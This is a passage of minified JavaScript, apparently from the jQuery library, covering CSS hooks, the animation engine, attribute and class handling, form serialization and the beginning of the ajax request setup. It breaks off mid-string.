Fe(e,t){return{get:function(){if(!e())return(this.get=t).apply(this,arguments);delete this.get}}}!function(){function e(){if(l){u.style.cssText="position:absolute;left:-11111px;width:60px;margin-top:1px;padding:0;border:0",l.style.cssText="position:relative;display:block;box-sizing:border-box;overflow:scroll;margin:auto;border:1px;padding:1px;width:60%;top:1%",re.appendChild(u).appendChild(l);var e=C.getComputedStyle(l);n="1%"!==e.top,s=12===t(e.marginLeft),l.style.right="60%",o=36===t(e.right),r=36===t(e.width),l.style.position="absolute",i=12===t(l.offsetWidth/3),re.removeChild(u),l=null}}function t(e){return Math.round(parseFloat(e))}var n,r,i,o,a,s,u=E.createElement("div"),l=E.createElement("div");l.style&&(l.style.backgroundClip="content-box",l.cloneNode(!0).style.backgroundClip="",y.clearCloneStyle="content-box"===l.style.backgroundClip,S.extend(y,{boxSizingReliable:function(){return e(),r},pixelBoxStyles:function(){return e(),o},pixelPosition:function(){return e(),n},reliableMarginLeft:function(){return e(),s},scrollboxSize:function(){return e(),i},reliableTrDimensions:function(){var e,t,n,r;return null==a&&(e=E.createElement("table"),t=E.createElement("tr"),n=E.createElement("div"),e.style.cssText="position:absolute;left:-11111px;border-collapse:separate",t.style.cssText="border:1px solid",t.style.height="1px",n.style.height="9px",n.style.display="block",re.appendChild(e).appendChild(t).appendChild(n),r=C.getComputedStyle(t),a=parseInt(r.height,10)+parseInt(r.borderTopWidth,10)+parseInt(r.borderBottomWidth,10)===t.offsetHeight,re.removeChild(e)),a}}))}();var Be=["Webkit","Moz","ms"],$e=E.createElement("div").style,_e={};function ze(e){var t=S.cssProps[e]||_e[e];return t||(e in $e?e:_e[e]=function(e){var t=e[0].toUpperCase()+e.slice(1),n=Be.length;while(n--)if((e=Be[n]+t)in $e)return e}(e)||e)}var Ue=/^(none|table(?!-c[ea]).+)/,Xe=/^--/,Ve={position:"absolute",visibility:"hidden",display:"block"},Ge={letterSpacing:"0",fontWeight:"400"};function Ye(e,t,n){var r=te.exec(t);return r?Math.max(0,r[2]-(n||0))+(r[3]||"px"):t}function Qe(e,t,n,r,i,o){var a="width"===t?1:0,s=0,u=0;if(n===(r?"border":"content"))return 0;for(;a<4;a+=2)"margin"===n&&(u+=S.css(e,n+ne[a],!0,i)),r?("content"===n&&(u-=S.css(e,"padding"+ne[a],!0,i)),"margin"!==n&&(u-=S.css(e,"border"+ne[a]+"Width",!0,i))):(u+=S.css(e,"padding"+ne[a],!0,i),"padding"!==n?u+=S.css(e,"border"+ne[a]+"Width",!0,i):s+=S.css(e,"border"+ne[a]+"Width",!0,i));return!r&&0<=o&&(u+=Math.max(0,Math.ceil(e["offset"+t[0].toUpperCase()+t.slice(1)]-o-u-s-.5))||0),u}function Je(e,t,n){var r=Re(e),i=(!y.boxSizingReliable()||n)&&"border-box"===S.css(e,"boxSizing",!1,r),o=i,a=We(e,t,r),s="offset"+t[0].toUpperCase()+t.slice(1);if(Pe.test(a)){if(!n)return a;a="auto"}return(!y.boxSizingReliable()&&i||!y.reliableTrDimensions()&&A(e,"tr")||"auto"===a||!parseFloat(a)&&"inline"===S.css(e,"display",!1,r))&&e.getClientRects().length&&(i="border-box"===S.css(e,"boxSizing",!1,r),(o=s in e)&&(a=e[s])),(a=parseFloat(a)||0)+Qe(e,t,n||(i?"border":"content"),o,r,a)+"px"}function Ke(e,t,n,r,i){return new Ke.prototype.init(e,t,n,r,i)}S.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=We(e,"opacity");return""===n?"1":n}}}},cssNumber:{animationIterationCount:!0,columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,gridArea:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnStart:!0,gridRow:!0,gridRowEnd:!0,gridRowStart:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{},style:function(e,t,n,r){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var i,o,a,s=X(t),u=Xe.test(t),l=e.style;if(u||(t=ze(s)),a=S.cssHooks[t]||S.cssHooks[s],void 0===n)return a&&"get"in a&&void 0!==(i=a.get(e,!1,r))?i:l[t];"string"===(o=typeof n)&&(i=te.exec(n))&&i[1]&&(n=se(e,t,i),o="number"),null!=n&&n==n&&("number"!==o||u||(n+=i&&i[3]||(S.cssNumber[s]?"":"px")),y.clearCloneStyle||""!==n||0!==t.indexOf("background")||(l[t]="inherit"),a&&"set"in a&&void 0===(n=a.set(e,n,r))||(u?l.setProperty(t,n):l[t]=n))}},css:function(e,t,n,r){var i,o,a,s=X(t);return Xe.test(t)||(t=ze(s)),(a=S.cssHooks[t]||S.cssHooks[s])&&"get"in a&&(i=a.get(e,!0,n)),void 0===i&&(i=We(e,t,r)),"normal"===i&&t in Ge&&(i=Ge[t]),""===n||n?(o=parseFloat(i),!0===n||isFinite(o)?o||0:i):i}}),S.each(["height","width"],function(e,u){S.cssHooks[u]={get:function(e,t,n){if(t)return!Ue.test(S.css(e,"display"))||e.getClientRects().length&&e.getBoundingClientRect().width?Je(e,u,n):Me(e,Ve,function(){return Je(e,u,n)})},set:function(e,t,n){var r,i=Re(e),o=!y.scrollboxSize()&&"absolute"===i.position,a=(o||n)&&"border-box"===S.css(e,"boxSizing",!1,i),s=n?Qe(e,u,n,a,i):0;return a&&o&&(s-=Math.ceil(e["offset"+u[0].toUpperCase()+u.slice(1)]-parseFloat(i[u])-Qe(e,u,"border",!1,i)-.5)),s&&(r=te.exec(t))&&"px"!==(r[3]||"px")&&(e.style[u]=t,t=S.css(e,u)),Ye(0,t,s)}}}),S.cssHooks.marginLeft=Fe(y.reliableMarginLeft,function(e,t){if(t)return(parseFloat(We(e,"marginLeft"))||e.getBoundingClientRect().left-Me(e,{marginLeft:0},function(){return e.getBoundingClientRect().left}))+"px"}),S.each({margin:"",padding:"",border:"Width"},function(i,o){S.cssHooks[i+o]={expand:function(e){for(var t=0,n={},r="string"==typeof e?e.split(" "):[e];t<4;t++)n[i+ne[t]+o]=r[t]||r[t-2]||r[0];return n}},"margin"!==i&&(S.cssHooks[i+o].set=Ye)}),S.fn.extend({css:function(e,t){return $(this,function(e,t,n){var r,i,o={},a=0;if(Array.isArray(t)){for(r=Re(e),i=t.length;a<i;a++)o[t[a]]=S.css(e,t[a],!1,r);return o}return void 0!==n?S.style(e,t,n):S.css(e,t)},e,t,1<arguments.length)}}),((S.Tween=Ke).prototype={constructor:Ke,init:function(e,t,n,r,i,o){this.elem=e,this.prop=n,this.easing=i||S.easing._default,this.options=t,this.start=this.now=this.cur(),this.end=r,this.unit=o||(S.cssNumber[n]?"":"px")},cur:function(){var e=Ke.propHooks[this.prop];return e&&e.get?e.get(this):Ke.propHooks._default.get(this)},run:function(e){var t,n=Ke.propHooks[this.prop];return this.options.duration?this.pos=t=S.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):this.pos=t=e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):Ke.propHooks._default.set(this),this}}).init.prototype=Ke.prototype,(Ke.propHooks={_default:{get:function(e){var t;return 1!==e.elem.nodeType||null!=e.elem[e.prop]&&null==e.elem.style[e.prop]?e.elem[e.prop]:(t=S.css(e.elem,e.prop,""))&&"auto"!==t?t:0},set:function(e){S.fx.step[e.prop]?S.fx.step[e.prop](e):1!==e.elem.nodeType||!S.cssHooks[e.prop]&&null==e.elem.style[ze(e.prop)]?e.elem[e.prop]=e.now:S.style(e.elem,e.prop,e.now+e.unit)}}}).scrollTop=Ke.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},S.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2},_default:"swing"},S.fx=Ke.prototype.init,S.fx.step={};var Ze,et,tt,nt,rt=/^(?:toggle|show|hide)$/,it=/queueHooks$/;function ot(){et&&(!1===E.hidden&&C.requestAnimationFrame?C.requestAnimationFrame(ot):C.setTimeout(ot,S.fx.interval),S.fx.tick())}function at(){return C.setTimeout(function(){Ze=void 0}),Ze=Date.now()}function st(e,t){var n,r=0,i={height:e};for(t=t?1:0;r<4;r+=2-t)i["margin"+(n=ne[r])]=i["padding"+n]=e;return t&&(i.opacity=i.width=e),i}function ut(e,t,n){for(var r,i=(lt.tweeners[t]||[]).concat(lt.tweeners["*"]),o=0,a=i.length;o<a;o++)if(r=i[o].call(n,t,e))return r}function lt(o,e,t){var n,a,r=0,i=lt.prefilters.length,s=S.Deferred().always(function(){delete u.elem}),u=function(){if(a)return!1;for(var e=Ze||at(),t=Math.max(0,l.startTime+l.duration-e),n=1-(t/l.duration||0),r=0,i=l.tweens.length;r<i;r++)l.tweens[r].run(n);return s.notifyWith(o,[l,n,t]),n<1&&i?t:(i||s.notifyWith(o,[l,1,0]),s.resolveWith(o,[l]),!1)},l=s.promise({elem:o,props:S.extend({},e),opts:S.extend(!0,{specialEasing:{},easing:S.easing._default},t),originalProperties:e,originalOptions:t,startTime:Ze||at(),duration:t.duration,tweens:[],createTween:function(e,t){var n=S.Tween(o,l.opts,e,t,l.opts.specialEasing[e]||l.opts.easing);return l.tweens.push(n),n},stop:function(e){var t=0,n=e?l.tweens.length:0;if(a)return this;for(a=!0;t<n;t++)l.tweens[t].run(1);return e?(s.notifyWith(o,[l,1,0]),s.resolveWith(o,[l,e])):s.rejectWith(o,[l,e]),this}}),c=l.props;for(!function(e,t){var n,r,i,o,a;for(n in e)if(i=t[r=X(n)],o=e[n],Array.isArray(o)&&(i=o[1],o=e[n]=o[0]),n!==r&&(e[r]=o,delete e[n]),(a=S.cssHooks[r])&&"expand"in a)for(n in o=a.expand(o),delete e[r],o)n in e||(e[n]=o[n],t[n]=i);else t[r]=i}(c,l.opts.specialEasing);r<i;r++)if(n=lt.prefilters[r].call(l,o,c,l.opts))return m(n.stop)&&(S._queueHooks(l.elem,l.opts.queue).stop=n.stop.bind(n)),n;return S.map(c,ut,l),m(l.opts.start)&&l.opts.start.call(o,l),l.progress(l.opts.progress).done(l.opts.done,l.opts.complete).fail(l.opts.fail).always(l.opts.always),S.fx.timer(S.extend(u,{elem:o,anim:l,queue:l.opts.queue})),l}S.Animation=S.extend(lt,{tweeners:{"*":[function(e,t){var n=this.createTween(e,t);return se(n.elem,e,te.exec(t),n),n}]},tweener:function(e,t){m(e)?(t=e,e=["*"]):e=e.match(P);for(var n,r=0,i=e.length;r<i;r++)n=e[r],lt.tweeners[n]=lt.tweeners[n]||[],lt.tweeners[n].unshift(t)},prefilters:[function(e,t,n){var r,i,o,a,s,u,l,c,f="width"in t||"height"in t,p=this,d={},h=e.style,g=e.nodeType&&ae(e),v=Y.get(e,"fxshow");for(r in n.queue||(null==(a=S._queueHooks(e,"fx")).unqueued&&(a.unqueued=0,s=a.empty.fire,a.empty.fire=function(){a.unqueued||s()}),a.unqueued++,p.always(function(){p.always(function(){a.unqueued--,S.queue(e,"fx").length||a.empty.fire()})})),t)if(i=t[r],rt.test(i)){if(delete t[r],o=o||"toggle"===i,i===(g?"hide":"show")){if("show"!==i||!v||void 0===v[r])continue;g=!0}d[r]=v&&v[r]||S.style(e,r)}if((u=!S.isEmptyObject(t))||!S.isEmptyObject(d))for(r in f&&1===e.nodeType&&(n.overflow=[h.overflow,h.overflowX,h.overflowY],null==(l=v&&v.display)&&(l=Y.get(e,"display")),"none"===(c=S.css(e,"display"))&&(l?c=l:(le([e],!0),l=e.style.display||l,c=S.css(e,"display"),le([e]))),("inline"===c||"inline-block"===c&&null!=l)&&"none"===S.css(e,"float")&&(u||(p.done(function(){h.display=l}),null==l&&(c=h.display,l="none"===c?"":c)),h.display="inline-block")),n.overflow&&(h.overflow="hidden",p.always(function(){h.overflow=n.overflow[0],h.overflowX=n.overflow[1],h.overflowY=n.overflow[2]})),u=!1,d)u||(v?"hidden"in v&&(g=v.hidden):v=Y.access(e,"fxshow",{display:l}),o&&(v.hidden=!g),g&&le([e],!0),p.done(function(){for(r in g||le([e]),Y.remove(e,"fxshow"),d)S.style(e,r,d[r])})),u=ut(g?v[r]:0,r,p),r in v||(v[r]=u.start,g&&(u.end=u.start,u.start=0))}],prefilter:function(e,t){t?lt.prefilters.unshift(e):lt.prefilters.push(e)}}),S.speed=function(e,t,n){var r=e&&"object"==typeof e?S.extend({},e):{complete:n||!n&&t||m(e)&&e,duration:e,easing:n&&t||t&&!m(t)&&t};return S.fx.off?r.duration=0:"number"!=typeof r.duration&&(r.duration in S.fx.speeds?r.duration=S.fx.speeds[r.duration]:r.duration=S.fx.speeds._default),null!=r.queue&&!0!==r.queue||(r.queue="fx"),r.old=r.complete,r.complete=function(){m(r.old)&&r.old.call(this),r.queue&&S.dequeue(this,r.queue)},r},S.fn.extend({fadeTo:function(e,t,n,r){return this.filter(ae).css("opacity",0).show().end().animate({opacity:t},e,n,r)},animate:function(t,e,n,r){var i=S.isEmptyObject(t),o=S.speed(e,n,r),a=function(){var e=lt(this,S.extend({},t),o);(i||Y.get(this,"finish"))&&e.stop(!0)};return a.finish=a,i||!1===o.queue?this.each(a):this.queue(o.queue,a)},stop:function(i,e,o){var a=function(e){var t=e.stop;delete e.stop,t(o)};return"string"!=typeof i&&(o=e,e=i,i=void 0),e&&this.queue(i||"fx",[]),this.each(function(){var e=!0,t=null!=i&&i+"queueHooks",n=S.timers,r=Y.get(this);if(t)r[t]&&r[t].stop&&a(r[t]);else for(t in r)r[t]&&r[t].stop&&it.test(t)&&a(r[t]);for(t=n.length;t--;)n[t].elem!==this||null!=i&&n[t].queue!==i||(n[t].anim.stop(o),e=!1,n.splice(t,1));!e&&o||S.dequeue(this,i)})},finish:function(a){return!1!==a&&(a=a||"fx"),this.each(function(){var e,t=Y.get(this),n=t[a+"queue"],r=t[a+"queueHooks"],i=S.timers,o=n?n.length:0;for(t.finish=!0,S.queue(this,a,[]),r&&r.stop&&r.stop.call(this,!0),e=i.length;e--;)i[e].elem===this&&i[e].queue===a&&(i[e].anim.stop(!0),i.splice(e,1));for(e=0;e<o;e++)n[e]&&n[e].finish&&n[e].finish.call(this);delete t.finish})}}),S.each(["toggle","show","hide"],function(e,r){var i=S.fn[r];S.fn[r]=function(e,t,n){return null==e||"boolean"==typeof e?i.apply(this,arguments):this.animate(st(r,!0),e,t,n)}}),S.each({slideDown:st("show"),slideUp:st("hide"),slideToggle:st("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(e,r){S.fn[e]=function(e,t,n){return this.animate(r,e,t,n)}}),S.timers=[],S.fx.tick=function(){var e,t=0,n=S.timers;for(Ze=Date.now();t<n.length;t++)(e=n[t])()||n[t]!==e||n.splice(t--,1);n.length||S.fx.stop(),Ze=void 0},S.fx.timer=function(e){S.timers.push(e),S.fx.start()},S.fx.interval=13,S.fx.start=function(){et||(et=!0,ot())},S.fx.stop=function(){et=null},S.fx.speeds={slow:600,fast:200,_default:400},S.fn.delay=function(r,e){return r=S.fx&&S.fx.speeds[r]||r,e=e||"fx",this.queue(e,function(e,t){var n=C.setTimeout(e,r);t.stop=function(){C.clearTimeout(n)}})},tt=E.createElement("input"),nt=E.createElement("select").appendChild(E.createElement("option")),tt.type="checkbox",y.checkOn=""!==tt.value,y.optSelected=nt.selected,(tt=E.createElement("input")).value="t",tt.type="radio",y.radioValue="t"===tt.value;var ct,ft=S.expr.attrHandle;S.fn.extend({attr:function(e,t){return $(this,S.attr,e,t,1<arguments.length)},removeAttr:function(e){return this.each(function(){S.removeAttr(this,e)})}}),S.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?S.prop(e,t,n):(1===o&&S.isXMLDoc(e)||(i=S.attrHooks[t.toLowerCase()]||(S.expr.match.bool.test(t)?ct:void 0)),void 0!==n?null===n?void S.removeAttr(e,t):i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:(e.setAttribute(t,n+""),n):i&&"get"in i&&null!==(r=i.get(e,t))?r:null==(r=S.find.attr(e,t))?void 0:r)},attrHooks:{type:{set:function(e,t){if(!y.radioValue&&"radio"===t&&A(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}}},removeAttr:function(e,t){var n,r=0,i=t&&t.match(P);if(i&&1===e.nodeType)while(n=i[r++])e.removeAttribute(n)}}),ct={set:function(e,t,n){return!1===t?S.removeAttr(e,n):e.setAttribute(n,n),n}},S.each(S.expr.match.bool.source.match(/\w+/g),function(e,t){var a=ft[t]||S.find.attr;ft[t]=function(e,t,n){var r,i,o=t.toLowerCase();return n||(i=ft[o],ft[o]=r,r=null!=a(e,t,n)?o:null,ft[o]=i),r}});var pt=/^(?:input|select|textarea|button)$/i,dt=/^(?:a|area)$/i;function ht(e){return(e.match(P)||[]).join(" ")}function gt(e){return e.getAttribute&&e.getAttribute("class")||""}function vt(e){return Array.isArray(e)?e:"string"==typeof e&&e.match(P)||[]}S.fn.extend({prop:function(e,t){return $(this,S.prop,e,t,1<arguments.length)},removeProp:function(e){return this.each(function(){delete this[S.propFix[e]||e]})}}),S.extend({prop:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return 1===o&&S.isXMLDoc(e)||(t=S.propFix[t]||t,i=S.propHooks[t]),void 0!==n?i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:e[t]=n:i&&"get"in i&&null!==(r=i.get(e,t))?r:e[t]},propHooks:{tabIndex:{get:function(e){var t=S.find.attr(e,"tabindex");return t?parseInt(t,10):pt.test(e.nodeName)||dt.test(e.nodeName)&&e.href?0:-1}}},propFix:{"for":"htmlFor","class":"className"}}),y.optSelected||(S.propHooks.selected={get:function(e){var t=e.parentNode;return t&&t.parentNode&&t.parentNode.selectedIndex,null},set:function(e){var t=e.parentNode;t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex)}}),S.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){S.propFix[this.toLowerCase()]=this}),S.fn.extend({addClass:function(t){var e,n,r,i,o,a,s,u=0;if(m(t))return this.each(function(e){S(this).addClass(t.call(this,e,gt(this)))});if((e=vt(t)).length)while(n=this[u++])if(i=gt(n),r=1===n.nodeType&&" "+ht(i)+" "){a=0;while(o=e[a++])r.indexOf(" "+o+" ")<0&&(r+=o+" ");i!==(s=ht(r))&&n.setAttribute("class",s)}return this},removeClass:function(t){var e,n,r,i,o,a,s,u=0;if(m(t))return this.each(function(e){S(this).removeClass(t.call(this,e,gt(this)))});if(!arguments.length)return this.attr("class","");if((e=vt(t)).length)while(n=this[u++])if(i=gt(n),r=1===n.nodeType&&" "+ht(i)+" "){a=0;while(o=e[a++])while(-1<r.indexOf(" "+o+" "))r=r.replace(" "+o+" "," ");i!==(s=ht(r))&&n.setAttribute("class",s)}return this},toggleClass:function(i,t){var o=typeof i,a="string"===o||Array.isArray(i);return"boolean"==typeof t&&a?t?this.addClass(i):this.removeClass(i):m(i)?this.each(function(e){S(this).toggleClass(i.call(this,e,gt(this),t),t)}):this.each(function(){var e,t,n,r;if(a){t=0,n=S(this),r=vt(i);while(e=r[t++])n.hasClass(e)?n.removeClass(e):n.addClass(e)}else void 0!==i&&"boolean"!==o||((e=gt(this))&&Y.set(this,"__className__",e),this.setAttribute&&this.setAttribute("class",e||!1===i?"":Y.get(this,"__className__")||""))})},hasClass:function(e){var t,n,r=0;t=" "+e+" ";while(n=this[r++])if(1===n.nodeType&&-1<(" "+ht(gt(n))+" ").indexOf(t))return!0;return!1}});var yt=/\r/g;S.fn.extend({val:function(n){var r,e,i,t=this[0];return arguments.length?(i=m(n),this.each(function(e){var t;1===this.nodeType&&(null==(t=i?n.call(this,e,S(this).val()):n)?t="":"number"==typeof t?t+="":Array.isArray(t)&&(t=S.map(t,function(e){return null==e?"":e+""})),(r=S.valHooks[this.type]||S.valHooks[this.nodeName.toLowerCase()])&&"set"in r&&void 0!==r.set(this,t,"value")||(this.value=t))})):t?(r=S.valHooks[t.type]||S.valHooks[t.nodeName.toLowerCase()])&&"get"in r&&void 0!==(e=r.get(t,"value"))?e:"string"==typeof(e=t.value)?e.replace(yt,""):null==e?"":e:void 0}}),S.extend({valHooks:{option:{get:function(e){var t=S.find.attr(e,"value");return null!=t?t:ht(S.text(e))}},select:{get:function(e){var t,n,r,i=e.options,o=e.selectedIndex,a="select-one"===e.type,s=a?null:[],u=a?o+1:i.length;for(r=o<0?u:a?o:0;r<u;r++)if(((n=i[r]).selected||r===o)&&!n.disabled&&(!n.parentNode.disabled||!A(n.parentNode,"optgroup"))){if(t=S(n).val(),a)return t;s.push(t)}return s},set:function(e,t){var n,r,i=e.options,o=S.makeArray(t),a=i.length;while(a--)((r=i[a]).selected=-1<S.inArray(S.valHooks.option.get(r),o))&&(n=!0);return n||(e.selectedIndex=-1),o}}}}),S.each(["radio","checkbox"],function(){S.valHooks[this]={set:function(e,t){if(Array.isArray(t))return e.checked=-1<S.inArray(S(e).val(),t)}},y.checkOn||(S.valHooks[this].get=function(e){return null===e.getAttribute("value")?"on":e.value})}),y.focusin="onfocusin"in C;var mt=/^(?:focusinfocus|focusoutblur)$/,xt=function(e){e.stopPropagation()};S.extend(S.event,{trigger:function(e,t,n,r){var i,o,a,s,u,l,c,f,p=[n||E],d=v.call(e,"type")?e.type:e,h=v.call(e,"namespace")?e.namespace.split("."):[];if(o=f=a=n=n||E,3!==n.nodeType&&8!==n.nodeType&&!mt.test(d+S.event.triggered)&&(-1<d.indexOf(".")&&(d=(h=d.split(".")).shift(),h.sort()),u=d.indexOf(":")<0&&"on"+d,(e=e[S.expando]?e:new S.Event(d,"object"==typeof e&&e)).isTrigger=r?2:3,e.namespace=h.join("."),e.rnamespace=e.namespace?new RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,e.result=void 0,e.target||(e.target=n),t=null==t?[e]:S.makeArray(t,[e]),c=S.event.special[d]||{},r||!c.trigger||!1!==c.trigger.apply(n,t))){if(!r&&!c.noBubble&&!x(n)){for(s=c.delegateType||d,mt.test(s+d)||(o=o.parentNode);o;o=o.parentNode)p.push(o),a=o;a===(n.ownerDocument||E)&&p.push(a.defaultView||a.parentWindow||C)}i=0;while((o=p[i++])&&!e.isPropagationStopped())f=o,e.type=1<i?s:c.bindType||d,(l=(Y.get(o,"events")||Object.create(null))[e.type]&&Y.get(o,"handle"))&&l.apply(o,t),(l=u&&o[u])&&l.apply&&V(o)&&(e.result=l.apply(o,t),!1===e.result&&e.preventDefault());return e.type=d,r||e.isDefaultPrevented()||c._default&&!1!==c._default.apply(p.pop(),t)||!V(n)||u&&m(n[d])&&!x(n)&&((a=n[u])&&(n[u]=null),S.event.triggered=d,e.isPropagationStopped()&&f.addEventListener(d,xt),n[d](),e.isPropagationStopped()&&f.removeEventListener(d,xt),S.event.triggered=void 0,a&&(n[u]=a)),e.result}},simulate:function(e,t,n){var r=S.extend(new S.Event,n,{type:e,isSimulated:!0});S.event.trigger(r,null,t)}}),S.fn.extend({trigger:function(e,t){return this.each(function(){S.event.trigger(e,t,this)})},triggerHandler:function(e,t){var n=this[0];if(n)return S.event.trigger(e,t,n,!0)}}),y.focusin||S.each({focus:"focusin",blur:"focusout"},function(n,r){var i=function(e){S.event.simulate(r,e.target,S.event.fix(e))};S.event.special[r]={setup:function(){var e=this.ownerDocument||this.document||this,t=Y.access(e,r);t||e.addEventListener(n,i,!0),Y.access(e,r,(t||0)+1)},teardown:function(){var e=this.ownerDocument||this.document||this,t=Y.access(e,r)-1;t?Y.access(e,r,t):(e.removeEventListener(n,i,!0),Y.remove(e,r))}}});var bt=C.location,wt={guid:Date.now()},Tt=/\?/;S.parseXML=function(e){var t,n;if(!e||"string"!=typeof e)return null;try{t=(new C.DOMParser).parseFromString(e,"text/xml")}catch(e){}return n=t&&t.getElementsByTagName("parsererror")[0],t&&!n||S.error("Invalid XML: "+(n?S.map(n.childNodes,function(e){return e.textContent}).join("\n"):e)),t};var Ct=/\[\]$/,Et=/\r?\n/g,St=/^(?:submit|button|image|reset|file)$/i,kt=/^(?:input|select|textarea|keygen)/i;function At(n,e,r,i){var t;if(Array.isArray(e))S.each(e,function(e,t){r||Ct.test(n)?i(n,t):At(n+"["+("object"==typeof t&&null!=t?e:"")+"]",t,r,i)});else if(r||"object"!==w(e))i(n,e);else for(t in e)At(n+"["+t+"]",e[t],r,i)}S.param=function(e,t){var n,r=[],i=function(e,t){var n=m(t)?t():t;r[r.length]=encodeURIComponent(e)+"="+encodeURIComponent(null==n?"":n)};if(null==e)return"";if(Array.isArray(e)||e.jquery&&!S.isPlainObject(e))S.each(e,function(){i(this.name,this.value)});else for(n in e)At(n,e[n],t,i);return r.join("&")},S.fn.extend({serialize:function(){return S.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var e=S.prop(this,"elements");return e?S.makeArray(e):this}).filter(function(){var e=this.type;return this.name&&!S(this).is(":disabled")&&kt.test(this.nodeName)&&!St.test(e)&&(this.checked||!pe.test(e))}).map(function(e,t){var n=S(this).val();return null==n?null:Array.isArray(n)?S.map(n,function(e){return{name:t.name,value:e.replace(Et,"\r\n")}}):{name:t.name,value:n.replace(Et,"\r\n")}}).get()}});var Nt=/%20/g,jt=/#.*$/,Dt=/([?&])_=[^&]*/,qt=/^(.*?):[ \t]*([^\r\n]*)$/gm,Lt=/^(?:GET|HEAD)$/,Ht=/^\/\//,Ot={},Pt={},Rt="*/".concat("*"),Mt=E.createElement("a");function It(o){return function(e,t){"string"!=typeof e&&(t=e,e="*");var n,r=0,i=e.toLowerCase().match(P)||[];if(m(t))while(n=i[r++])"+"===n[0]?(n=n.slice(1)||"*",(o[n]=o[n]||[]).unshift(t)):(o[n]=o[n]||[]).push(t)}}function Wt(t,i,o,a){var s={},u=t===Pt;function l(e){var r;return s[e]=!0,S.each(t[e]||[],function(e,t){var n=t(i,o,a);return"string"!=typeof n||u||s[n]?u?!(r=n):void 0:(i.dataTypes.unshift(n),l(n),!1)}),r}return l(i.dataTypes[0])||!s["*"]&&l("*")}function Ft(e,t){var n,r,i=S.ajaxSettings.flatOptions||{};for(n in t)void 0!==t[n]&&((i[n]?e:r||(r={}))[n]=t[n]);return r&&S.extend(!0,e,r),e}Mt.href=bt.href,S.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:bt.href,type:"GET",isLocal:/^(?:about|app|app-storage|.+-extension|file|res|widget):$/.test(bt.protocol),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":Rt,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/\bxml\b/,html:/\bhtml/,json:/\bjson\b/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":JSON.parse,"text xml":S.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(e,t){return t?Ft(Ft(e,S.ajaxSettings),t):Ft(S.ajaxSettings,e)},ajaxPrefilter:It(Ot),ajaxTransport:It(Pt),ajax:function(e,t){"object"==typeof e&&(t=e,e=void 0),t=t||{};var c,f,p,n,d,r,h,g,i,o,v=S.ajaxSetup({},t),y=v.context||v,m=v.context&&(y.nodeType||y.jquery)?S(y):S.event,x=S.Deferred(),b=S.Callbacks("once memory"),w=v.statusCode||{},a={},s={},u="canceled",T={readyState:0,getResponseHeader:function(e){var t;if(h){if(!n){n={};while(t=qt.exec(p))n[t[1].toLowerCase()+" "]=(n[t[1].toLowerCase()+" "]||[]).concat(t[2])}t=n[e.toLowerCase()+" "]}return null==t?null:t.join(", ")},getAllResponseHeaders:function(){return h?p:null},setRequestHeader:function(e,t){return null==h&&(e=s[e.toLowerCase()]=s[e.toLowerCase()]||e,a[e]=t),this},overrideMimeType:function(e){return null==h&&(v.mimeType=e),this},statusCode:function(e){var t;if(e)if(h)T.always(e[T.status]);else for(t in e)w[t]=[w[t],e[t]];return this},abort:function(e){var t=e||u;return c&&c.abort(t),l(0,t),this}};if(x.promise(T),v.url=((e||v.url||bt.href)+"").replace(Ht,bt.protocol+"//"),v.type=t.method||t.type||v.method||v.type,v.dataTypes=(v.dataType||"*").toLowerCase().match(P)||[""],null==v.crossDomain){r=E.createElement("a");try{r.href=v.url,r.href=r.href,v.crossDomain=Mt.protocol+"//"+Mt.host!=r.protocol+"//"+r.host}catch(e){v.crossDomain=!0}}if(v.data&&v.processData&&"string"!=typeof v.data&&(v.data=S.param(v.data,v.traditional)),Wt(Ot,v,t,T),h)return T;for(i in(g=S.event&&v.global)&&0==S.active++&&S.event.trigger("ajaxStart"),v.type=v.type.toUpperCase(),v.hasContent=!Lt.test(v.type),f=v.url.replace(jt,""),v.hasContent?v.data&&v.processData&&0===(v.contentType||"").indexOf("application/x-www-form-urlencoded")&&(v.data=v.data.replace(Nt,"+")):(o=v.url.slice(f.length),v.data&&(v.processData||"string"==typeof v.data)&&(f+=(Tt.test(f)?"&":"?")+v.data,delete v.data),!1===v.cache&&(f=f.replace(Dt,"$1"),o=(Tt.test(f)?"&":"?")+"_="+wt.guid+++o),v.url=f+o),v.ifModified&&(S.lastModified[f]&&T.setRequestHeader("If-Modified-Since",S.lastModified[f]),S.etag[f]&&T.setRequestHeader("If-None-Match",S.etag[f])),(v.data&&v.hasContent&&!1!==v.contentType||t.contentType)&&T.setRequestHeader("Content-Type",v.contentType),T.setRequestHeader("Accept",v.dataTypes[0]&&v.accepts[v.dataTypes[0]]?v.accepts[v.dataTypes[0]]+("*"!==v.dataTypes[0]?", "+Rt+"; 